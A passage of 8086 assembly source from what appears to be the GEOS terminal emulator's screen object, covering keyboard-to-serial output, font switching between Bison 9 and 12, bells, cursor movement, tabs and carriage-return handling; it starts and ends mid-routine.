pop ds:[si][SI_curChar] ;get old cursor
tst ss:[wrapped]
jz noWrap
clr ds:[si][SI_curChar] ;if wrap, reset cursor
CUR < clr ds:[si][SI_curPos] >
mov ss:[wrapped], FALSE
noWrap:
mov ax, bp ;
sub ax, ds:[si][SI_curChar] ;calc #chars to erase
tst ax
jz done
tst ds:[si][SI_insertMode] ;are we in insertmode?
je 50$
mov ax, MAX_LINE_CHARS ;if in insert mode
sub ax, ds:[si][SI_curChar] ;have to redraw whole line
50$:
CUR < push dx >
call EraseDrawLine
call DrawRemLine ; and print current line
CUR < pop dx >
done:
CUR < mov ds:[si][SI_curPos], dx >
mov ds:[si][SI_curChar], bp ;restore updated cursor
CUR <EC <call AssertCurCharCurPos >>
call DrawCursor
SD_ret:
mov bx, ds:[si][SI_screenHandle] ;unlock screen buffer
call MemUnlock ;
EC < call NullScreenBuf ; stuff bogus segment >
;now, if we were passed data in a block on the global heap,
;free that block now.
mov bx, ss:[scrBlockToFree] ;get handle of block to free
tst bx
jz exit ;skip if none...
call MemFree
exit:
pop dx
EC < add dx, 2 ;make room for ID >
ret
ScreenData endm
if CURSOR
AssertCurCharCurPos proc near
class ScreenClass
mov ax, ds:[si].SI_curChar
call GetCurCharFromCurPos
cmp ax, ds:[si].SI_curChar
WARNING_NE 0
ret
AssertCurCharCurPos endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenBison9Or12
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the screen font to Bison 9 or Bison 12
CALLED BY: TermSetBison9
PASS: ds:*si - screen instance data
es - dgroup
cx - 9 or 12
RETURN: di - GState
DESTROYED: cx, dx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/29/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenBison9Or12 method ScreenClass, MSG_SCR_BISON_9_OR_12
cmp cx, 9
je set9
call ScreenBison12
jmp short exit
set9:
mov si, ds:[si] ;dereference ptr
cmp ds:[si][SI_lineHeight], BISON_9_HEIGHT
je exit ;if already using Bison 9, exit
setBison9 label far
mov di, ds:[si][SI_gState] ;get our gstate
call EraseCursor
mov cx, TERM_FONT ;else use non-proportional
mov dx, TERM_FONT_9 ; 9 point BISON font
clr ah ; no fractional pt sizes
call ScreenSetFont
mov ds:[si][SI_docHeight], BISON_9_DOC_HEIGHT
mov ds:[si][SI_docWidth], BISON_9_DOC_WIDTH
mov cx, BISON_9_DOC_WIDTH ;set Bison 9 doc size
mov dx, BISON_9_DOC_HEIGHT
call ScreenSetViewSize
call SetFontNewScreen ;reset the view for new font
exit:
ret
ScreenBison9Or12 endm
ScreenSetViewSize proc near
uses si
.enter
GetResourceHandleNS TermView, bx
mov si, offset TermView
mov di, mask MF_FIXUP_DS
call GenViewSetSimpleBounds
.leave
ret
ScreenSetViewSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenBison12
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the screen font to Bison 12
CALLED BY: TermSetBison12
PASS: ds:*si - screen instance data
es - dgroup
RETURN: ---
DESTROYED: cx, dx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 12/07/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenBison12 proc far
class ScreenClass
mov si, ds:[si] ;dereference ptr
cmp ds:[si][SI_lineHeight], BISON_12_HEIGHT
je exit ;if we are using Bison 12, exit
setBison12 label far
mov di, ds:[si][SI_gState] ;get our gstate
call EraseCursor
mov cx, TERM_FONT ;else use non-proportional
mov dx, 12 ; 12 point BISON font
call ScreenSetFont
mov ds:[si][SI_docHeight], BISON_12_DOC_HEIGHT
mov ds:[si][SI_docWidth], BISON_12_DOC_WIDTH
mov cx, BISON_12_DOC_WIDTH ;set Bison 12 doc size
mov dx, BISON_12_DOC_HEIGHT
call ScreenSetViewSize ; (preserves si)
call SetFontNewScreen ;reset the view for new font
exit:
ret
ScreenBison12 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenKeyboard
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle a press on the keyboard
CALLED BY: MSG_META_KBD_CHAR
PASS: cx - character value
SBCS: ch = CharacterSet, cl = Chars
DBCS: cx = Chars
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
es - dgroup
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, si
PSEUDO CODE/STRATEGY:
user pressed on the keyboard.
take the character and write it out the com port
Send all Ctrl chars under x20h and all printable chars
>= 0x20h and <= x80h. Only send out when CharFlags
is first press
KNOWN BUGS/SIDE EFFECTS/IDEAS:
When in local echo mode, I only echo those characters that get
sent out the modem in contrast to those characters the user
has pressed. Is this a problem?
*** Don't do half duplex for arrow keys chars.
To handle the cursor keys I have to intercept all the accelerator
chars. So the events that I don't handle have to be sent back
the the view
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenKeyboard method ScreenClass, MSG_META_KBD_CHAR
if USE_FEP
tst es:[fepStrategy].segment
jz noFep
;
; If it is a press send it to the FEP.
;
test dl, mask CF_RELEASE
jnz noFep
;
; Initialize error flag
;
mov es:[scrKbdFepNoPortErr], BB_FALSE
;
; Pass call back information on the stack.
;
sub sp, size FepCallBackInfo
mov di, sp
mov ax, segment ScreenFepCallBack
mov bx, offset ScreenFepCallBack
movdw ss:[di].FCBI_function, axbx
mov ax, ds:[LMBH_handle]
movdw ss:[di].FCBI_data, axsi
movdw axbx, ssdi
mov di, DR_FEP_KBD_CHAR
call es:[fepStrategy]
add sp, size FepCallBackInfo
;
; Check return value: iff al = 0 consume the character.
;
tst al
LONG jz exitFepConsumed
noFep:
endif
test dl, mask CF_TEMP_ACCENT ; accent char pending?
jnz jmpUnused ; yes, ignore it
test dl, mask CF_FIRST_PRESS ;if not FIRST or REPEAT
jnz checkState ; keypress then
test dl, mask CF_REPEAT_PRESS ; exit
jnz checkState ;else, process it
jmpUnused:
jmp unused
checkState:
SBCS < cmp ch, CS_CONTROL ;if this is a CTRL char then>
DBCS < cmp ch, CS_CONTROL_HB ;if this is a CTRL char then>
je checkArrow ; check for ARROW or NUM key
; else this is regular char
and dh, mask SS_LCTRL or mask SS_RCTRL
; if CTRL key pressed
; jz 10$ ; then convert it
;allow all characters to be sent from keyboard - brianc 1/3/91
jz writeIt
if DBCS_PCGEOS ;-------------------------------------------------------------
and cx, CTRL_MASK ; cx = control char
checkArrow:
cmp cx, C_SYS_UP
jb checkCtrl
cmp cx, C_SYS_HOME
LONG ja checkBreak
call DoArrowKey
jmp exit
checkCtrl:
cmp cx, C_SPACE ; allow true control chars
jb writeIt
cmp cx, C_SYS_F1
jae jmpUnused
mov ax, cx ; ax = control char
push es, di, cx
segmov es, cs
mov di, offset mapKeyTable ; table of keys to map
mov cx, length mapKeyTable
repne scasw
pop es, di, cx
jne jmpUnused ; not found, send it back up
; else, map and process
mov ch, 0 ; cx = control char - 0xee00
else ;---------------------------------------------------------------------
and cl, CTRL_MASK ; convert char to Ctrl char
; if applied
RSP < jmp checkArrowWithoutKeymap >
;10$:
; cmp cl, 080h
; jb writeIt
; jmp unused
checkArrow:
RSP < call InputKeyMap ; cx = mapped key >
checkArrowWithoutKeymap::
cmp cl, VC_UP
jb checkCtrl
cmp cl, VC_HOME
ja checkBreak
call DoArrowKey ;
jmp exit ;
checkCtrl:
cmp cl, 080h ;if illegal char, forget it
LONG jae unused
endif ;---------------------------------------------------------------------
writeIt:
mov si, ds:[si] ;deref obj ptr
mov di, ds:[si][SI_gState] ; and get gState
cmp ds:[si][SI_inScroll], FALSE ;if we scrolled away from
je noScroll ; window, then reset the
push cx, dx ; view before sending output
call ScrollResetView ;
pop cx, dx ;restore keyboard char flags
noScroll:
;
; convert char from GEOS code page to BBS code page, if needed
; cx = GEOS char
;
if DBCS_PCGEOS ;-------------------------------------------------------------
mov bx, es:[serialPort] ; check port first
cmp bx, NO_PORT
LONG je noPort
push ds, si
segmov ds, ss, si
EC < mov di, es >
EC < cmp di, si >
EC < ERROR_NE -1 >
push cx ; put GEOS character on stack
mov si, sp ; ds:si = source
sub sp, 6 ; plenty of room for expansion
mov di, sp ; es:di = dest
mov cx, 1 ; 1 GEOS char
mov ax, MAPPING_DEFAULT_CHAR
mov bx, ds:[bbsSendCP]
;don't do this as it sends unnecessary things though - brianc 11/29/94
if 0
;
; force synchronization to SB mode if CR
;
cmp bx, CODE_PAGE_JIS ; think we are in SB mode?
jne noSync ; nope, continue
cmp {wchar} ds:[si], CHAR_CR ; will be sending CR?
jne noSync ; nope, continue
mov bx, CODE_PAGE_JIS_DB ; else, pretend we are in DB
; mode, so we will turn
; on SB mode
noSync:
endif
clr dx
call LocalGeosToDos ; cx = new size of text (bytes)
EC < WARNING_C KBD_CONVERSION_ERROR >
jc dbcsErr
mov ds:[bbsSendCP], bx
;
; write bytes one at a time in loop, can't write bytes all at once,
; cause there's nowhere safe to store them
;
mov si, di ; ds:si = BBS chars
push si, cx ; save count for echo
sendLoop:
if _TELNET
lodsb ; al <- char
mov_tr cl, al
call SendChar ; carry set if error
else
push cx ; save count
lodsb ; al <- char
mov cl, al ; cl = BBS char
mov bx, ds:[serialPort]
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE_BYTE, ds
pop cx
endif ; _TELNET
loop sendLoop
pop si, cx ; si = offset, cx = count
;
; echo if half-duplex, echo bytes one at a time in loop, can't echo
; bytes all at once, cause there's nowhere safe to store them
; ds = dgroup
; ds:si = chars
; cx = # chars
;
cmp ds:[halfDuplex], TRUE
jne noEcho
;
; maintain current bbsRecvCP by switching into mode of character to
; send (i.e. bbsSendCP) and then switching back
;
push ds:[bbsRecvCP] ; save bbsRecvCP because it
; will be modified by
; FSMParseString sometime
; after echoEscape
call StartEcho
echoLoop:
push cx
lodsb
mov cl, al ; cl = byte to echo
mov ax, MSG_READ_CHAR
SendSerialThread
pop cx
loop echoLoop
;
; escape back to bbsRecvCP
;
pop ax ; ax = desired CP (bbsRecvCP)
call EndEcho
noEcho:
dbcsErr:
add sp, 8 ; clear stack
pop ds, si
else ;---------------------------------------------------------------------
mov al, cl ; al = character
cmp al, MIN_MAP_CHAR ; any conversion needed?
jb noConv ; nope
clr ah
mov bx, MAPPING_DEFAULT_CHAR ; default character
push cx
mov cx, es:[bbsCP] ; bx = destination code page
call LocalGeosToCodePageChar
pop cx
noConv:
if INPUT_OUTPUT_MAPPING
call OutputMapChar
endif
clr ah
test ds:[si].SI_modeFlags, mask SVTMF_LF_NEWLINE
jz crLfLoop
mov ah, TRUE
crLfLoop:
if _TELNET
cmp al, C_CR
jne sendNonCR
call SendCR
jmp sentOneChar
sendNonCR:
push ax ; ah = crlf mode, al = char
mov_tr cl, al
push ds
segmov ds, es, ax ; ds <- dgroup
call SendChar ; carry set if error
pop ds
else ; _TELNET
mov bx, es:[serialPort]
cmp bx, NO_PORT ;if no port opened?
je noPort ; then exit
push ax ; ah = crlf mode, al = char
mov_tr cl, al ; cl = char to send
mov ax, STREAM_BLOCK ;block, if necessary
CallSer DR_STREAM_WRITE_BYTE, es ;else write char out the line
endif ; !_TELNET
pop ax ; get crlf mode, char
sentOneChar::
cmp al, C_CR ; IF just sent CR,
jne doneSending
tst ah ; AND in LF mode,
jz doneSending
mov al, C_LF ; THEN send an LF
jmp crLfLoop
doneSending:
cmp es:[halfDuplex], TRUE ;
jne exit ;
if not _TELNET
mov ax, MSG_READ_CHAR ;if in local echo
SendSerialThread
endif ; !_TELNET
endif ;---------------------------------------------------------------------
jmp short exit
checkBreak:
SBCS < cmp cl, VC_BREAK ;if BREAK key was pressed>
DBCS < cmp cx, C_SYS_BREAK ;if BREAK key was pressed>
jne unused ;then send Serial Break Signal
segmov ds, es, bx ;ds->dgroup
if not _TELNET
CallMod SendSerialBreak
endif
jmp exit
noPort:
call noPortError
unused: ;keyboard chars we don't
mov ax,MSG_META_FUP_KBD_CHAR ;handle should be passed
RSP < SendScreenView >
NRSP < CallScreenView ;back to the view >
exit:
ret
if USE_FEP
exitFepConsumed:
tst es:[scrKbdFepNoPortErr]
jz exit
call noPortError
ret
endif
noPortError label near
push cx, dx ;save character flags
clr cx ;flag that String resource
mov dx, offset keyCharErr ; should be stuffed
mov bp, ERR_NO_COM
segmov ds, es, ax ;make ds- dgrup
CallMod DisplayErrorMessage
pop cx, dx
retn
RSP < ScreenKbdCharReal endm >
NRSP < ScreenKeyboard endm >
if DBCS_PCGEOS
mapKeyTable wchar C_SYS_BACKSPACE, C_SYS_TAB, C_SYS_ENTER, C_SYS_ESCAPE,
C_SYS_NUMPAD_ENTER, C_SYS_NUMPAD_DIVIDE,
C_SYS_NUMPAD_MULTIPLY, C_SYS_NUMPAD_PLUS,
C_SYS_NUMPAD_MINUS, C_SYS_NUMPAD_PERIOD,
C_SYS_NUMPAD_0, C_SYS_NUMPAD_2, C_SYS_NUMPAD_2,
C_SYS_NUMPAD_3, C_SYS_NUMPAD_4, C_SYS_NUMPAD_5,
C_SYS_NUMPAD_6, C_SYS_NUMPAD_7, C_SYS_NUMPAD_8,
C_SYS_NUMPAD_9
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenNormalizePos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure scroll bar scrolls by lines, not pixels
CALLED BY: MSG_META_CONTENT_TRACK_SCROLLING
PASS: *ds:si - instance data
ss:bp - TrackScrollingParams
dx - size TrackScrollingParams
cx - Chunk Handle of scroll bar
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
look at OLTextDisplayNormalizePosition for example
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Only normalizes dragging in vertical direction.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/23/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
ScreenNormalizePos method ScreenClass, MSG_META_CONTENT_TRACK_SCROLLING
call GenSetupTrackingArgs ;set up all the normalize stuff
mov si, ds:[si] ;dereference ptr to screen obj
mov ax, ss:[bp].TSP_change.PD_y ;get scroll amount
cmp ax, 0 ;if negative scroll amount
je doScroll
jg 10$ ;
neg ax ;convert to positive #
10$:
mov bx, ds:[si][SI_lineHeight] ;is scroll a multiple of
div bl ;line height?
tst ah ;
jz doScroll ;yes, exit
sub bl, ah ;no,
cmp ss:[bp].TSP_change.PD_y, 0 ;
jl scrollUp ;
add ss:[bp].TSP_change.PD_y, bx ;normalize downward scroll
jmp short doScroll ;
scrollUp: ;
sub ss:[bp].TSP_change.PD_y, bx ;normalize upward scroll
doScroll: ;
call GenReturnTrackingArgs ;return the arguments
ret
ScreenNormalizePos endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenExit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: kill screen object program
CALLED BY: MSG_SCR_EXIT
PASS: nothing
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
free memory blocks
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/22/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenExit method ScreenClass, MSG_SCR_EXIT
mov si, ds:[si]
mov bx, ds:[si][SI_cacheHandle] ;nuke our file cache
tst bx
jz noCache
call MemFree
noCache:
mov bx, ds:[si][SI_screenHandle] ;nuke our screen buffer
tst bx
jz noScreen
call MemFree
noScreen:
mov bx, ds:[si][SI_scrollHandle] ;nuke the scroll buffer
tst bx
jz noScroll
call MemFree
noScroll:
ret
ScreenExit endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSoundBell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Ring a bell
CALLED BY: MSG_SCR_SOUND_BELL
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - pointing to unlocked segment
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/24/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSoundBell method ScreenClass, MSG_SCR_SOUND_BELL
mov si, ds:[si] ;deref to instance data
cmp ds:[si][SI_visualBell], TRUE
je visBell
mov ax, SST_CUSTOM_NOTE
mov cx, BELL_FREQ
mov dx, BELL_DUR
call UserStandardSound
jmp short exit
visBell:
mov di, ds:[si][SI_gState] ;get GState
call DoVisualBell
exit:
ret
ScreenSoundBell endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenVisualBell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: make screen flash a bell
CALLED BY: MSG_SCR_VISUAL_BELL
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - pointing to unlocked segment
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Calling audio bell temporarily
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenVisualBell method ScreenClass, MSG_SCR_VISUAL_BELL
;; call ScreenSoundBell
;;they are using visual for a reason... - brianc 8/17/90
mov si, ds:[si] ; deref.
mov di, ds:[si].SI_gState
call DoVisualBell
ret
ScreenVisualBell endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorLeft
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a backspace character
CALLED BY: MSG_SCR_CURSOR_LEFT
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - pointing to unlocked segment
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorLeft method ScreenClass, MSG_SCR_CURSOR_LEFT
mov si, ds:[si] ;deref to instance data
NCUR < tst ds:[si][SI_curChar] ;if cursor at start of line>
CUR < tst ds:[si][SI_curPos] >
jz exit ; don't decrement it
mov di, ds:[si][SI_gState]
call EraseCursor
NCUR < dec ds:[si][SI_curChar] ;adjust cursor position >
CUR < dec ds:[si][SI_curPos] >
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorLeft endm
ScreenCursorLeftN method ScreenClass, MSG_SCR_CURSOR_LEFT_N
clr cl
xchg cl, ch ; cx = N
tst cx
jnz doIt
inc cx ; move even when arg=0
doIt:
mov si, bx
NCUR < tst ds:[si].SI_curChar >
CUR < tst ds:[si][SI_curPos] >
jz exit
mov di, ds:[si].SI_gState
push cx ; save N
call EraseCursor
pop cx ; restore N
NCUR < sub ds:[si].SI_curChar, cx >
CUR < sub ds:[si].SI_curPos, cx >
jge onScreen
NCUR < clr ds:[si].SI_curChar ; else, force to 0 >
CUR < clr ds:[si].SI_curPos >
onScreen:
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorLeftN endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenTab
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a tab character
CALLED BY: MSG_SCR_TAB
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - pointing to unlocked segment
RETURN: nothing
DESTROYED: si, di, cx
PSEUDO CODE/STRATEGY:
Assume Tab stops set every TAB_STOP places so
want to calculate how many cols till next tab
and advance cursor that many columns.
# spaces to add = TABSTOP - (column pos / TAB_STOP)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Don't allow user to tab past the end of line
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenTab method ScreenClass, MSG_SCR_TAB
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
call EraseCursor
if HALF_AND_FULL_WIDTH ;-----------------------------------------------------
if CURSOR
mov ch, {byte} ds:[si][SI_curPos] ;get current col # (only byte)
and ch, DIV_8_MASK ;find out how many space)
mov cl, TAB_STOP ;till next tab stop
sub cl, ch
clr ch
add cx, ds:[si][SI_curPos] ;get new cursor position
cmp cx, MAX_LINE_CHARS ;if cursor past end of line
jg exit ;don't update it
mov ds:[si][SI_curPos], cx ;
call GetCurCharFromCurPos
exit:
else
push ax, bx, dx
call CalcCursorPos ; ax = X pos, bx = Y pos
mov dx, bx ; dx = Y pos
mov cl, {byte} ds:[si].SI_charWidth
div cl ; ax = char column
and ax, not 7
add ax, 8
cmp ax, MAX_LINE_CHARS ; past end?
jg exit ; yes, do nothing
mov cl, {byte} ds:[si].SI_charWidth
mul cl ; ax = desired X pos
mov cx, ax ; cx = desired X pos
call ConvertToTextCoords ; cx = text column, dx = text
; line
EC < mov ax, ds:[si].SI_curLine >
EC < add ax, ds:[si].SI_winTopLine >
EC < cmp ax, dx >
EC < ERROR_NE -1 >
mov ds:[si].SI_curChar, cx ; new cursor position
exit:
pop ax, bx, dx
endif
else ;---------------------------------------------------------------------
mov ch, {byte} ds:[si][SI_curChar];get current col # (only byte)
and ch, DIV_8_MASK ;find out how many spaces
mov cl, TAB_STOP ;till next tab stop
sub cl, ch
clr ch
add cx, ds:[si][SI_curChar] ;get new cursor position
cmp cx, MAX_LINE_CHARS ;if cursor past end of line
jg exit ;don't update it
mov ds:[si][SI_curChar], cx ;
exit:
endif ;---------------------------------------------------------------------
call DrawCursor
ret
ScreenTab endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorDownOrScroll
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move cursor down 1 row. If already at bottom of
scroll region, scroll the region up. If cursor is
below the scroll region, will not scroll (VT100 behavior)
CALLED BY: MSG_SCR_CURSOR_DOWN
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - pointing to unlocked segment
RETURN: nothing
DESTROYED: es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This was formerly MSG_SCR_CURSOR_DOWN, but it does more
than just move the cursor down.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorDownOrScroll method ScreenClass, MSG_SCR_CURSOR_DOWN_OR_SCROLL
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
NCUR < cmp ds:[si][SI_curChar], MAX_LINE_CHARS >
CUR < cmp ds:[si][SI_curPos], MAX_LINE_CHARS >
jne 10$
clr ds:[si][SI_curChar] ;if LF comes in at 81 column
;then autowrap
CUR < clr ds:[si][SI_curPos] >
10$:
call EraseCursor
if (HALF_AND_FULL_WIDTH and not CURSOR)
call CalcCursorPos ;ax = X pos, bx = Y pos
push ax, bx
call DoCursorDown
pop cx, dx
add dx, ds:[si].SI_lineHeight
call ConvertToTextCoords ;cx = column, dx = line
mov ds:[si].SI_curChar, cx ;store new column
else
call DoCursorDown
endif
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorDownOrScroll endm
ScreenCursorDownOrScrollN method ScreenClass, MSG_SCR_CURSOR_DOWN_OR_SCROLL_N
clr cl
xchg cl, ch ; cx = N
jcxz exit
mov si, bx
mov di, ds:[si].SI_gState
push cx ; save N
call EraseCursor
pop cx ; restore N
if (HALF_AND_FULL_WIDTH and not CURSOR)
call CalcCursorPos ;ax = X pos, bx = Y pos
push ax, bx, cx
downLoop:
push cx
call DoCursorDown
pop cx
loop downLoop
pop cx, dx, bx ;cx = X pos, dx = Y pos, bx = N
mov ax, ds:[si].SI_lineHeight
mul bl ;ax = height of N lines
add dx, ax
call ConvertToTextCoords ;cx = column, dx = line
mov ds:[si].SI_curChar, cx ;store new column
else
downLoop:
push cx
call DoCursorDown
pop cx
loop downLoop
endif
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorDownOrScrollN endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCR
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a CR character
CALLED BY: MSG_SCR_CR
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Move cursor to far left
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCR method ScreenClass, MSG_SCR_CR
CCT < GetResourceSegmentNS dgroup, es >
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
call EraseCursor
clr ds:[si][SI_curChar]
CUR < clr ds:[si][SI_curPos] >
tst ds:[si][SI_autoLinefeed] ;is auto line feed set
jz draw ;nope
call DoCursorDown ;yep, insert a CR
;always redraw cursor, as DoCursorDown doesn't do it - brianc
; jnc exit ;if scrolled don't draw cursor
draw:
call DrawCursor
DBCS < mov ax, CHAR_CR >
SBCS < mov al, CHAR_CR >
if _CAPTURE_CLEAN_TEXT ;------------------------------------------
CaptureCR label far
cmp es:[fileHandle], BOGUS_VAL
je dontCapture
if ERROR_CHECK
SBCS < mov ah, -1 ; make high byte null >
endif
call FileCaptureTextChar ; destroy ax,bx,cx,dx,si,di,
; ds, es
dontCapture:
endif ; _CAPTURE_CLEAN_TEXT -------------------------------------------
exit:
ret
ScreenCR endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenLF
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handles a linefeed character
CALLED BY: MSG_SCR_LF
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
